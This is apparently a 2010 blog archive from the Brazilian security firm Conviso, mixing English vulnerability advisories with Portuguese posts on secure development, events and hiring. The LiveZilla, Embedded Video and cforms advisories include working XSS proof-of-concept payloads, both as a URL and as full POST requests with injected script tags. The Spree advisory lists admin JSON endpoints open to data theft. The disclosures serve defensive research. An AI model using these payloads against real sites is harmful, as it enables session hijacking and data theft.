segunda-feira, 27 de dezembro de 2010

LiveZilla Cross Site Scripting Vulnerability | CVE-2010-4276

Introduction


Copyright and Disclaimer


The information in this advisory is Copyright 2010 Conviso and provided so that the society can understand the risk they may be facing by running affected software, hardware or other components used on their systems. In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL). No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

About Conviso


Founded on 2008 by a team of professionals working the IT Security market since 1997, Conviso is a consulting company specialized on network and application security services. Our values are based on the allocation of the adequate competencies on the field, a clear and direct speech with the market, collaboration and partnership with our customers and business partners and constant investments on methodology and research improvement.

This advisory has been discovered as part of a general investigation into the security of software used in the IT environments of our customers. For more information about our company and services provided, please check our website at www.conviso.com.br.

The Security Research


Conviso maintains a virtual team dedicated to explore our customer’s environments in order to identify technical vulnerabilities in software and hardware, developing real-world mitigation solutions and processes to maintain more secure environments. Leaded by Wagner Elias, our R&D Manager, this team is named Conviso Labs and also contribute to important world-class organizations projects and organizations.

The vulnerability described in this security advisory was discovered by Ulisses Castro on November 1st 2010 during an internal research procedure.

Issue Description


LiveZilla is an application provided by LiveZilla GmbH to provide Live Chats, monitor website visitors in real-time and convert them in to customers. LiveZilla is affected by Reflected Cross Site Scripting on server.php in the “module” track which calls a vulnerable javascript function.

Affected Components


The issue was confirmed on version 3.2.0.2 but other other versions maybe also affected.

Issue Mitigation


LiveZilla released an update to fix the vulnerability, please check the availability at their changelog page.

CVSS Scoring System

The CVSS score is: 6.4

  • Base Score: 6.7

  • Temporal Score: 6.4


We used the following values to calculate the scores:

  • Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N

  • Temporal score is: E:F/RL:U/RC:C


Details


The request http://<server>/livezilla/server.php?request=track&livezilla=<script>alert('xss')</script> pass through the following files:

  • htdocs\livezilla\server.php

  • htdocs\livezilla\track.php

  • htdocs\livezilla\templates\jscript\jstrack.tpl


And land in this code exception:

---
207
208 function lz_tracking_set_sessid(_userId, _browId)
209 {
210 if(lz_session.UserId != _userId)
211 {
212 lz_session.UserId = _userId;
213 lz_session.BrowserId = _browId;
214 lz_session.Save();
215 }
216 }
217
---
The javascript file “jstrack.tpl” is called by track.php and contains a function named “lz_tracking_set_sessid()” which does not sanitize data and may allow an attacker to inject a malicious javascript code to support Reflected Cross Site Script attacks against users.

sexta-feira, 24 de dezembro de 2010

Embedded Video WordPress Plugin Cross Site Vulnerability (XSS) - CVE-2010-4277

Introduction


Copyright and Disclaimer


The information in this advisory is Copyright 2010 Conviso and provided so that the society can understand the risk they may be facing by running affected software, hardware or other components used on their systems. In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL). No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

About Conviso


Founded on 2008 by a team of professionals working the IT Security market since 1997, Conviso is a consulting company specialized on network and application security services. Our values are based on the allocation of the adequate competencies on the field, a clear and direct speech with the market, collaboration and partnership with our customers and business partners and constant investments on methodology and research improvement.

This advisory has been discovered as part of a general investigation into the security of software used in the IT environments of our customers. For more information about our company and services provided, please check our website at www.conviso.com.br.

The Security Research


Conviso maintains a virtual team dedicated to explore our customer’s environments in order to identify technical vulnerabilities in software and hardware, developing real-world mitigation solutions and processes to maintain more secure environments. Leaded by Wagner Elias, our R&D Manager, this team is named Conviso Labs and also contribute to important world-class organizations projects and organizations.

The vulnerability described in this security advisory was discovered by Wagner Elias on October 20th 2010 during the Bug Hunting Day at Conviso Labs.

Issue Description


Embedded Video is a WordPress Plugin created by Jovel Stefan to easily embedded videos in blog posts. The videos can be uploaded to the web server or come from external portals (like YouTube, Google Video and others) and links to the video on the video portal or for download of the video can be automatically generated as well.

The plugin has a Cross Site Script (XSS) vulnerability.

Affected Components

Version 4.1 of Embedded Video Word Press Plugin.

Issue Mitigation


This problem was confirmed in the latest version of the plugin, other versions maybe also affected. The developer replied to the advisory in a very responsible manner but unfortunately there will be no updates due to the fact that this component is not maintained anymore.

CVSS Scoring System

The CVSS score is: 6.4

  • Base Score: 6.7

  • Temporal Score: 6.4


We used the following values to calculate the scores:

  • Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N

  • Temporal score is: E:F/RL:U/RC:C


Details


The file lembedded-video.php does not sanitize content variable, it is possible to inject malformed data by Javascript.

Code affected:

function embeddedvideo_plugin($content) {
$output = preg_replace_callback(REGEXP_1, 'embeddedvideo_plugin_callback', $content);
$output = preg_replace_callback(REGEXP_2, 'embeddedvideo_plugin_callback', $output);
$output = preg_replace_callback(REGEXP_3, 'embeddedvideo_plugin_callback', $output);
return ($output);
}
Request:

http://<server>/wordpress/wp-admin/post.php
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: <server>
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.12) Gecko/20101026
Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://<server>/wordpress/wp-admin/post.php?post=8&action=edit&message=1
C o o k i e : w o r d p r e s s _ b b f a 5 b 7 2 6 c 6 b 7 a 9 c f 3 c d a 9 3 7 0 b e 3 e e 9 1 = a d m i n
%7C1290110435%7C7f9fa1a66aec0259906ea15086aea0c8; wp-settings-time-1=1289940308;
w o r d p r e s s _ t e s t _ c o o k i e = W P + C o o k i e + c h e c k ;
w o r d p r e s s _ l o g g e d _ i n _ b b f a 5 b 7 2 6 c 6 b 7 a 9 c f 3 c d a 9 3 7 0 b e 3 e e 9 1 = a d m i n
%7C1290110435%7C68b064d813dd8bfaa5d2d2cdf757848e; wp-settings-1=m1%3Do
%26m6%3Dc%26m7%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 1786
_wpnonce=b2bc367f9c&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost
% 3 D 8 % 2 6 a c t i o n % 3 D e d i t % 2 6 m e s s a g e
%3D1&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=post&original_
post_status=publish&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin
%2Fpost.php%3Fpost%3D8%26action%3Dedit&_wp_original_http_referer=http%3A%2F
%2Flocalhost%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D8%26action
% 3 D e d i t & p o s t _ I D = 8 & a u t o s a v e n o n c e = 9 6 2 9 3 9 1 7 c 9 & m e t a - b o x - o r d e r -
n o n c e = c 2 f e 5 5 3 5 c 4 & c l o s e d p o s t b o x e s n o n c e = b a d 9 d c 7 7 5 b & w p -
preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_v
isibility=public&visibility=public&post_password=&mm=11&jj=17&aa=2010&hh=00&mn=05&ss=33&hi
dden_mm=11&cur_mm=11&hidden_jj=17&cur_jj=17&hidden_aa=2010&cur_aa=2010&hidden_hh=00
&cur_hh=00&hidden_mn=05&cur_mn=36&original_publish=Update&save=Update&post_category
% 5 B % 5 D = 0 & p o s t _ c a t e g o r y % 5 B % 5 D = 1 & n e w c a t e g o r y = N e w + C a t e g o r y
+Name&newcategory_parent=-1&_ajax_nonce-add-category=62352e38f5&tax_input%5Bpost_tag
% 5 D = & n e w t a g % 5 B p o s t _ t a g
%5D=&post_title=testando&samplepermalinknonce=4a0d9c8491&content=%5Byoutube+%3Cscript
+type%3D%22text%2Fjavascript%22%3E%2F%2F+%3C%21%5BCDATA%5B%0D%0Aalert
%281%29%0D%0A%2F%2F+%5D%5D%3E%3C%2Fscript%3E+%3Cscript+type%3D%22text
%2Fjavascript%22%3E%2F%2F+%3C%21%5BCDATA%5B%0D%0Aalert%282%29%0D%0A%2F
%2F+%5D%5D%3E%3C%2Fscript%3E%5D&excerpt=&trackback_url=&meta%5B6%5D%5Bkey
%5D=_edit_last&_ajax_nonce=5453d93de8&meta%5B6%5D%5Bvalue%5D=1&meta%5B9%5D
%5Bkey%5D=_edit_lock&_ajax_nonce=5453d93de8&meta%5B9%5D%5Bvalue
%5D=1289954192&meta%5B8%5D%5Bkey%5D=_wp_old_slug&_ajax_nonce=5453d93de8&meta
% 5 B 8 % 5 D % 5 B v a l u e % 5 D = & m e t a k e y i n p u t = & m e t a v a l u e = & _ a j a x _ n o n c e - a d d -
meta=9453fa7f77&advanced_view=1&comment_status=open&ping_status=open&post_name=testan
do&post_author_override=1

Issue History



  • October 20, 2010: Issue discovered by Wagner Elias at Conviso Labs.

  • October 22, 2010: Issue informed to the author.

  • October 30, 2010: Author informed that the plugin is not maintained anymore.

  • December 17, 2010: Security Advisory published.


domingo, 12 de dezembro de 2010

Realização do Sheriff Night



Com uma excelente organização da STS, realizamos em 07 de dezembro a primeira edição do Sheriff Night, um evento exclusivo no Na Mata Café com a presença de membros da comunidade de segurança da informação que assistiram a primeira apresentação do MASP e uma excelente palestra apresentada pelo Henrique Takaki sobre fraudes em cartões.

Agradecemos imensamente a presença dos convidados que puderam nos dar a oportunidade de sua presença mesmo em um período do ano tão agitado. Confira as fotos no web site da STS, e a palestra que apresentamos no SlideShare.

sábado, 4 de dezembro de 2010

HTML5 Seguro ou Inseguro?

Acabamos de disponibilizar no Slide Share a apresentação "HTML5 Seguro ou Inseguro?"  feita por nosso Gerente de Pesquisa e Desenvolvimento, Wagner Elias, durante o evento H2HC no dia 27/11/2010.

Os vídeos Client Side SQLi e Stored XSS - HTML5 foram adicionados em nosso canal no YouTube como referências adicionais para o conteúdo apresentado.

sábado, 13 de novembro de 2010

Security Advisory: Spree e-commerce JSON v.0.11x

Uma versão em PDF também está disponível | A PDF version is also available

Spree e-commerce JSON Hijacking Vulnerabilities - CVE-2010-3978


Introduction


Spree e-commerce is an open source commerce platform written for the Ruby on Rails framework supporting "Over 100 extensions created by our active and dedicated community". This problem was confirmed in the following versions of the Spree e-commerce, other versions maybe also affected.

  • All 0.11.x versions

  • The upcoming code 0.30.x versions


CVSS Scoring System


The CVSS score is: 2.7

  • Base Score: 3.3

  • Temporal Score: 2.7


We used the following values to calculate the scores:

  • Base score is: AV:N/AC:L/Au:N/C:C/I:N/A:N

  • Temporal score is: E:F/RL:OF/RC:C


Details


There are multiple JSON Hijacking vulnerabilities and as result, an attacker can steal confidential information such as product costs, price and quantities and users email, encrypted password, tokens, OpenID identifier, phone and address as well as orders count and values by period.

There are some pages within the default Spree installation that use JavaScript Object Notation (JSON) as a transport mechanism between the client and the server. As the application cannot differentiate real requests from forged requests, and the JSON object returned can be accessed by the attacker's malicious code via a script tag, those pages are vulnerable to an attack known as JSON Hijacking.

The affected pages are:

- /admin/products.json

- /admin/users.json

- /admin/overview/get_report_data

Proof of concept exploitation code is available to interested parties.

Credits


The vulnerability described in this security advisory was discovered by Gabriel Quadros on October 1st 2010 during a internal security research.

quarta-feira, 3 de novembro de 2010

JSON Hijacking Vulnerability

Trabalhando em conjunto com o Spree e a Locaweb, identificamos uma vulnerabilidade na aplicação que foi trabalhada junto com o fabricante dentro de nossa política de Responsible Disclosure, resultando em alterações no release 0.11.2 que corrigem o problema.

Nos próximos dias iremos publicar o Security Advisory detalhando este ponto, mas você já pode ver no blog da Spree a descrição da falha e a correção disponibilizada.

sábado, 30 de outubro de 2010

Security Advisory: Cform Wordpress Plugin v 11 | CVE-2010-3977

Uma versão em PDF está também disponível | A PDF version is also available

Introduction


According to Delicious Days, "cforms is a powerful and feature rich form plugin for WordPress, offering convenient deployment of multiple Ajax driven contact forms throughout your blog or even on the same page."

This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions maybe also affected.

  • cforms v11.5


CVSS Scoring System


The CVSS score is: 5.5

  • Base Score: 6.7

  • Temporal Score: 5.5

  • We used the following values to calculate the scores:

  • Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N

  • Temporal score is: E:F/RL:OF/RC:C


Details


A data array is created in lib_ajax.php using values from a form field in a POST request.  The parameters rs and rsargs are not validated and thus it is possible to inject code.
Request:

http://<server>/wp-content/plugins/cforms/lib_ajax.php

POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1

Host: <server>

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:

1.9.2.10) Gecko/20100914 Firefox/3.6.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 219

Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do

%26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce

%26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do

%26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;

c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t  ;

comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam

%40checkpoint.com

Pragma: no-cache

Cache-Control: no-cache

rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#

$<script>alert(1)</script>$#$rbranco_nospam@checkpoint.com$#$http://

www.checkpoint.com$#$<script>alert(1)</script>

Credits


This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company and researched internally by Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT).

segunda-feira, 25 de outubro de 2010

Implementando um processo de segurança em desenvolvimento

Com a crescente demanda por iniciativas de segurança em desenvolvimento de software é comum encontrarmos soluções mirabolantes e ferramentas que implementam segurança "Out-Of-The-Box". Não acredite nestas iniciativas. Para produção de um software seguro é necessário a adoção de métodos que garantam a qualidade durante todas as etapas do desenvolvimento [1][2].

Antes de pensar em segurança é preciso analisar o seu processo de desenvolvimento de software. Segundo estudos realizados pela Cigital Software Confidence [3]: “software ruim é a origem da maioria dos problemas de segurança”. Isso significa que uma má gestão no processo de desenvolvimento de software pode levar a um código mal estruturado e por sua vez a problemas de segurança. Por outro lado, software de qualidade é desenvolvido com uma abordagem estruturada e ferramentas de apoio[4][5].

Como é o seu processo de desenvolvimento?


Seu processo de desenvolvimento atende a estes requisitos:

1 - Como você gerencia o seu código fonte?


Uma ferramenta fundamental para o desenvolvimento de software é um bom sistema de controle de versão para o código fonte[6]. Além de organizar a interação entre desenvolvedores, essa ferramenta irá garantir integridade e possibilitar o gerenciamento de versões do código, evitando equívocos quanto a versão colocada em produção.

2 - Quais os tipos de testes você adota?


Um processo fundamental para a melhoria continua do software são os testes [7]. Devem ser adotadas desde práticas que buscam uma avaliação geral do software até modelos que buscam testar pequenos trechos de código por vez (como os testes unitários).

3 - Como você gerencia a correção de bugs?


Como diria Joel Spolsky: “não é possível armazenar mais que três bugs na cabeça” [8]. Para manter registro das falhas encontradas no sistema é essencial que seja adotado uma ferramenta de Bug Tracking. Esta irá agir como facilitadora da comunicação entre os envolvidos na identificação e correção do bug.

4 - Você adota um processo de Integração Contínua para garantir que bugs não são inseridos no build?


Um processo de integração continua irá colaborar para garantir a qualidade do software desenvolvido[9][10]. O processo irá automatizar verificações no processo de build da ferramenta, garantindo assim, que seja possível gerar um novo release sem problemas.

5 - Como você documenta o software desenvolvido e a arquitetura que o suporta?


Documentação clara da arquitetura e código fonte ajuda a aumentar a qualidade do software desenvolvido. Uma documentação clara, objetiva e bem estruturada é de fundamental importância para que o software possa ser expandido de forma sustentável e segura.

Se você ainda tem deficiência nos itens listados acima, o primeiro passo é buscar ajustar o seu processo de desenvolvimento às técnicas mencionadas. Com esta iniciativa você naturalmente irá desenvolver software melhor e com número menor de bugs.

Já possuo um bom processo de desenvolvimento de software e quero inserir neste processo atividades que irão melhorar a segurança dos softwares desenvolvidos


O primeiro ponto a ser entendido é: para implementar segurança em um processo de desenvolvimento são necessárias mudanças. Isto envolve de questões culturais até capacitação dos envolvidos em temas associados a segurança. Todo esse processo de reeducação leva tempo e não acontece simplesmente ao escrever uma política ou definir alguns checklists.

Segundo estudos relatados no BSIMM (Building Security In Maturity Model), atualmente, existem mais de sessenta grandes iniciativas de segurança no desenvolvimento de software em organizações dos mais diversos setores. Todas essas iniciativas tem características comuns, adotam estruturas e abordagens que foram analisadas pelo BSIMM.

A implementação de um processo de segurança em desenvolvimento deve ser gradativo. Iremos tratar respectivamente as atividades envolvidas do nível menos ao mais maduro de acordo com os estudos do BSIMM. Esses estudos, não levam em consideração a organização em domínios, visando uma visão mais abrangente orientada às atividades e não a um framework específico.

Estas atividades descrevem em alto nível as práticas que devem ser inseridas no seu processo de desenvolvimento que levarão gradativamente ao processo para criação de software seguro.

1 – Diretrizes de alto nível e os gestores do processo


A iniciativa de segurança em desenvolvimento irá mexer com os processos de desenvolvimento de software e impactar o modelo já estabelecido entre gestores do negócio e equipe de desenvolvimento. Por isso, uma modificação de cultura é necessária para que esta iniciativa seja suportada pelo alto nível da organização. Esse processo deve se conduzido por profissionais que tenham visão do negócio como um todo e um bom relacionamento com equipe de desenvolvimento e gerentes do negócio.

2 –Time de Segurança em Desenvolvimento


É necessário definir um time que irá conduzir as atividades de segurança em desenvolvimento, como: revisores, responsáveis por políticas e métricas, testadores e orientadores. É importante notar que estes profissionais devem ser identificados no time de desenvolvimento e/ou contratados com estes perfil. Um erro recorrente é que muitas vezes profissionais de áreas relacionadas a segurança, sem perfil de engenharia de software são contratados para ocupar as vagas referentes aos perfis citados.

3 – Papéis e Estrutura adotada para o (Secure Development Lifecycle)


Estudando práticas como as sugeridas pela OWASP (Open Web Application Security Project)[11] e estabelecendo uma cultura de segurança na organização, defina metas, desenvolva documentação prescritiva e defina os papéis e responsabilidades dos envolvidos no SDL.

4 – Treinamento e Capacitação


Com o processo iniciado e apoio da organização é preciso treinar os envolvidos e desenvolver materiais e recursos para que os profissionais se mantenham conscientes sobre a necessidade de segurança e sejam informados sobre fontes de pesquisa no tema.

5 – Reutilização de Componentes


Construa e homologue componentes de código e arquitetura que possam vir a ser adotados como padrão na organização. Modelos como o ESAPI (Enterprise Security API)[12][13][14][15] da OWASP podem ser adotados evitando que códigos com problemas de segurança e componentes inseguros sejam adotados.

6 – Padrões de Código Seguro e Checklists


Defina padrões de códigos seguros, boas práticas de acordo com a linguagem adotada e ambiente definido pela organização[16]. Crie checklists para verificar as principais ações durante o desenvolvimento e revisão de segurança do software.

7 – Modelo para Avaliação de Riscos


Defina um processo para avaliar os riscos associados aos softwares desenvolvidos e como os riscos identificados serão tratados. Modelos como o Theat Modeling da Microsoft[17] podem ser adotados como referência. Este processo deve estar associado a um processo de gestão de vulnerabilidades e resposta a incidentes.

8 – Revisão de Segurança


Defina processo de revisão de segurança e testes que irão verificar se existem problemas de segurança que ainda não foram tratados. Os problemas identificados devem ser tratados e documentados no processo de Bug Tracking [18], através do processo de gestão de vulnerabilidades. Modelos como o OWASP Testing Guide [19] e OWASP Code Review Guide [20] podem ser adotados como referência.

9 – Ferramentas para Teste


Adote e crie ferramentas para testar as características específicas dos softwares desenvolvidos pela organização. Essas ferramentas devem evoluir de acordo os insumos produzidos pelas revisões de segurança. Evite ferramentas que propõem modelos baseados em padrões conhecidos e não permitem que sejam aprimoradas e orientadas para a organização. Frameworks como o O2 Platform [21] da OWASP se adaptam e evoluem com a sua equipe de teste a medida que o seu software vai sendo desenvolvido.

10 – Implantação de Software


Após a adoção de todo o processo é necessário colocar o software em produção. Após ir para produção, falhas podem aparecer e um processo claro de resposta a incidentes deve estar estabelecido. Eventuais problemas de segurança devem ser tratados sem que causem grandes problemas aos usuários e a organização.

Conclusões


Gradualmente, as organizações serão pressionadas a adotar um modelo de segurança em desenvolvimento de software e os envolvidos devem se adequar a esta nova realidade. O processo de segurança em desenvolvimento exige que a organização adote boas práticas de desenvolvimento e se adeque a nova cultura de desenvolvimento seguro de software.

Apesar de relativamente nova a iniciativa de segurança em desenvolvimento, é cada vez mais abundante os modelos e ferramentas para suporte ao processo. Nenhuma tecnologia isolada irá aumentar a segurança do software desenvolvido. É necessário recursos, tempo e dedicação para que gradativamente a organização aumente a segurança de seus sistemas computacionais. Como a segurança das aplicações fará parte das atribuições e metas de conformidade da organização é necessário que a alta gestão da organização apoie a iniciativa de desenvolvimento de software seguro e fornece todos os recursos necessário.

Sobre o Autor


Wagner Elias atua com Segurança da Informação desde 2004, tendo trabalhado como consultor, líder de equipes e gerente de consultoria. Tem ampla experiência na condução de projetos em IT Security com soluções implementadas em empresas dos mais diversos segmentos. Possui as certificações CBCP, SANS GIAC GHTQ, ITIL e CobiT Foundations além de certificações de produtos de SIEM e WAF. É fundador e líder do capítulo brasileiro da OWASP, ocupou o cargo de diretor de conteúdo na gestão 2006-2008 e de eventos da gestão 2008-2010 do capítulo brasileiro da ISSA. É co-fundador e sócio da Conviso IT Security, onde atua como Gerente de R&D, responsável pela gestão de pesquisa e desenvolvimento de projetos de consultoria.

Referências



  1. Application Lifecycle Management

  2. Guide to the Software Engineering Body of Knowledge (SWEBOK)

  3. Building Security In Maturity Model

  4. Bom código é suficiente para um projeto ter sucesso?

  5. Inimigos do software seguro

  6. Visualization of Version Control Information

  7. Software QA and Testing Resource Center

  8. Acompanhamento de Bugs Indolor

  9. Continuous Integration: Improving Software Quality and Reducing Risk [Paperback]

  10. CI Feature Matrix

  11. Open Web Application Security Project

  12. ESAPI (Enterprise Security API)

  13. Java Swingset

  14. PHP Swingset

  15. .Net Swingset

  16. OWASP Secure Coding Practices

  17. Microsoft Threat Modeling

  18. O uso de ferramentas de Bug Tracker no tratamento de vulnerabilidades

  19. OWASP Testing Guide

  20. OWASP Code Review

  21. O2 Platform

quinta-feira, 21 de outubro de 2010

Nova apresentação publicada


Ontem apresentamos durante o Rochester Security Summit 2010 o trabalho de pesquisa "Threats from the Economical Improvement". A apresentação está compartilhada no Slide Share, e em breve o projeto será adicionado à página do Conviso Security Labs e dará início a mais uma iniciativa do OWASP.

Estamos contratando

A Conviso é uma empresa especializada em segurança de aplicações baseada em Curitiba, PR, com escritórios em Brasília e São Paulo. Desde 2008 fornecemos soluções inovadoras para planejar, testar e adequar o nível de segurança das aplicações de grande e médias empresas no Brasil, Estados Unidos e Europa.

Somos uma empresa dinâmica e informal, e concentramos nossas competências em servir nossos clientes da melhor forma possível e buscar a excelência no que fazemos.

Estamos crescendo e precisamos de uma pessoa para assumir a função de Secretária em nosso escritório central. Se você é apaixonada tecnologia, tem a necessidade de procurar soluções melhores como parte de sua metas pessoais e quer fazer parte de um grupo onde inovação é a palavra-chave, mande o seu currículo.

Não exigimos que você seja experiente ou tenha terminado sua formação acadêmica, mas esteja preparada para lidar com algumas responsabilidades que dependem somente da sua capacidade de trabalho:

  • Atender nossos clientes e servir de ponte de comunicação com as equipes de consultoria e pesquisa, utilizando não só o telefone como também outras tecnologias integradas como VoIP e e-mail.

  • Administrar o nosso escritório, garantindo que as necessidades operacionais de toda a equipe são atendidas. Isso inclui cuidar não só daquele dia-a-dia comum, mas ainda organizar eventos e viagens e cuidar de uma burocracia que é necessária em qualquer empresa.

  • Analisar e revisar textos de natureza técnica, vamos ensinar como é o nosso trabalho, mas garantir que a comunicação empregada e a clareza do texto seja perfeita para nossos clientes será sua responsabilidade. Exigimos que você goste de ler e saiba escrever muito bem.

  • Preparar os produtos que fornecemos a nossos clientes, o que inclui relatórios em formato digital e impresso, material de treinamento e apresentações.

  • Você deve ter uma grande capacidade de administrar o seu tempo e prioridades para atender estas demandas, pois somos uma empresa focada em resultados e iremos cobrar a entrega do que foi pedido em prazos específicos. Como e quando você irá fazer isso, depende inteiramente da sua criatividade, que valorizamos e prezamos como uma das competências fundamentais em nosso grupo.


Para isso, iremos lhe fornecer todos os equipamentos necessários, uma área de trabalho confortável em um prédio muito bem localizado, o treinamento adequado para você conhecer o nosso negócio e saber como atender o que lhe for pedido. Ofertamos ainda algumas outras coisas que podem interessar:

  • Contratação em regime CLT com um salário competitivo.

  • Política de remuneração variável que pode pagar mais 4 salários anuais de acordo com as metas pessoais e da empresa.

  • Vale Refeição e Vale Transporte

  • Plano de Saúde corporativo


Se interessou? Então mande o seu currículo com pretensão salarial em formato txt para rh@conviso.com.br, iremos analisar o que você tem para oferecer e vamos lhe chamar para uma conversa em nossos escritório. A pessoa escolhida começa conosco no dia 16/11/2010.

segunda-feira, 18 de outubro de 2010

Arquivo 'solto' afeta segurança de site

Arquivos soltos em servidores são tratados como algo corriqueiro por muitas empresas, porém, dependendo do tipo de informação disponível neste componente, é possível comprometer o web site de formas extremamente agressivas.

Esta falha foi identificada em um web site especializado em venda de ingressos pela Internet e abordado na coluna “Segurança para o PC” do Portal G1, onde o nosso Gerente de Pesquisa e Desenvolvimento, Wagner Elias, apresentou suas considerações sobre o assunto.

sexta-feira, 15 de outubro de 2010

OWASP Swingset

Enterprise Security API (ESAPI) é um framework composto por diversas bibliotecas de códigos que podem ser adotadas para melhorar a segurança de aplicações. Desenvolvido pelo OWASP inicialmente para Java, foi posteriormente portado para outras linguagens como .Net e PHP.

O Conviso Security Labs realizou um port do ESAPI Swingset Java para as linguagens .Net e PHP, permitindo assim que aplicações modelo sejam utilizadas para o entendimento e correção de falhas. Os repositórios estão hospedados no Google Code, onde qualquer interessado pode acessar e contribuir com melhorias para o projeto.

segunda-feira, 11 de outubro de 2010

Boas intenções de programadores podem criar falhas de segurança

“It’s not a bug, it’s a feature”. A frase em inglês, que quer dizer “não é um problema, é uma funcionalidade (ou recurso ou conveniência)” explica um problema e uma mentalidade que existe na criação de softwares. Recursos, funcionalidades e “facilidades” são às vezes mal pensadas, e o que devia ser algo bom se transforma em um problema. O desenvolvedor, para se explicar, acaba soltando a desculpa (que não resolve nada) de que “it’s not a bug, it’s a feature”. Em alguns casos, o erro pode ser bem grave e, invariavelmente – por estar numa função intencional – é fácil de explorar.

Este assunto foi abordado na coluna "Segurança para o PC" do Portal G1, onde o nosso Gerente de Pesquisa e Desenvolvimento, Wagner Elias, apresentou suas considerações sobre o assunto e falou um pouco de como falhas em aplicações web podem comprometer dados privados de seus usuários.

terça-feira, 5 de outubro de 2010

Problemas na segurança na web geram dor de cabeça para usuários e empresas

Em entrevista concedida para o jornal Correio Braziliense, Ulisses Castro, consultor da Conviso IT Security e pesquisador do Conviso Security Labs fala sobre o processo de testes de segurança em Aplicações Web. A matéria, que aborda o aumento das falhas neste tipo de componente e quais resultados as empresas estão enfrentando como consequência de sua exploração, pode ser lida na íntegra no web site do jornal aqui.

quarta-feira, 29 de setembro de 2010

Participação no OWASP AppSec Brasil 2010


Curitiba, 29 de setembro de 2010


A Conviso IT Security irá participar do OWASP AppSec Brasil 2010 representada pelo pesquisador do Conviso Security Labs, Gabriel Quadros, que irá apresentar "Taint Analysis em Código JavaScript para Detecção de Vulnerabilidades em Aplicações Web".

Sobre o OWASP AppSec Brasil 2010


Dando prosseguimento ao sucesso da primeira AppSec Brasil, que ocorreu em Brasília em 2009, o Capítulo brasileiro do OWASP irá promover a segunda edição em 2010, na cidade de Campinas, a cerca de 90 km de São Paulo. Este ano, será reunido um número expressivo de profissionais e pesquisadores brasileiros e latino-americanos para compartilharem informações sobre o estado-da-arte da segurança de aplicações.

Sobre a Conviso IT Security


Fundada por profissionais que atuam no mercado de Segurança da Informação desde 1997, a Conviso IT Security é uma empresa de serviços para segurança de redes de dados e aplicações, destacando-se pelo alto nível de especialização e capacidade de apresentar resultados adequados à realidade de nossos clientes, onde limitações comuns a uma operação de negócio são consideradas e utilizadas como premissas para a criação de soluções simples, racionais e eficazes.

sábado, 25 de setembro de 2010

Patrocínio da ISSA Brasil

Curitiba, 24 de setembro de 2010


A Conviso IT Security confirmou o seu apoio a ISSA Brasil como Corporate Member e primeiro patrocinador da entidade no Brasil, demonstrando mais uma vez o seu compromisso em suportar o desenvolvimento das competências em segurança para redes de dados e aplicações no mercado brasileiro. Acreditamos que esta ação é uma grande oportunidade para levarmos aos gestores a importância dos controles técnicos de segurança com excelentes resultados para a comunidade.

Sobre a ISSA


A ISSA é a voz da Segurança da Informação. Uma entidade neutra, criada exclusivamente por profissionais de segurança, sem motivos políticos ou financeiros. É uma oportunidade única de networking, através de suas reuniões e eventos, proporcionando ao profissional uma maior interação com seus pares.

Sobre a Conviso IT Security


Fundada por profissionais que atuam no mercado de Segurança da Informação desde 1997, a Conviso IT Security é uma empresa de serviços para segurança de redes de dados e aplicações, destacando-se pelo alto nível de especialização e capacidade de apresentar resultados adequados à realidade de nossos clientes, onde limitações comuns a uma operação de negócio são consideradas e utilizadas como premissas para a criação de soluções simples, racionais e eficazes.

quinta-feira, 23 de setembro de 2010

Nova contratação na Conviso

Contamos com mais um membro no time de Pesquisa & Desenvolvimento do Conviso Security Labs: Marcos Álvares. Pensamos em colocar uma coisa mais formal, descrevendo o currículo e função ... mas achamos que ficaria mais interessante se ele mesmo fizesse isto do tamanho de um post.

Bem vindo ao time Marcos!
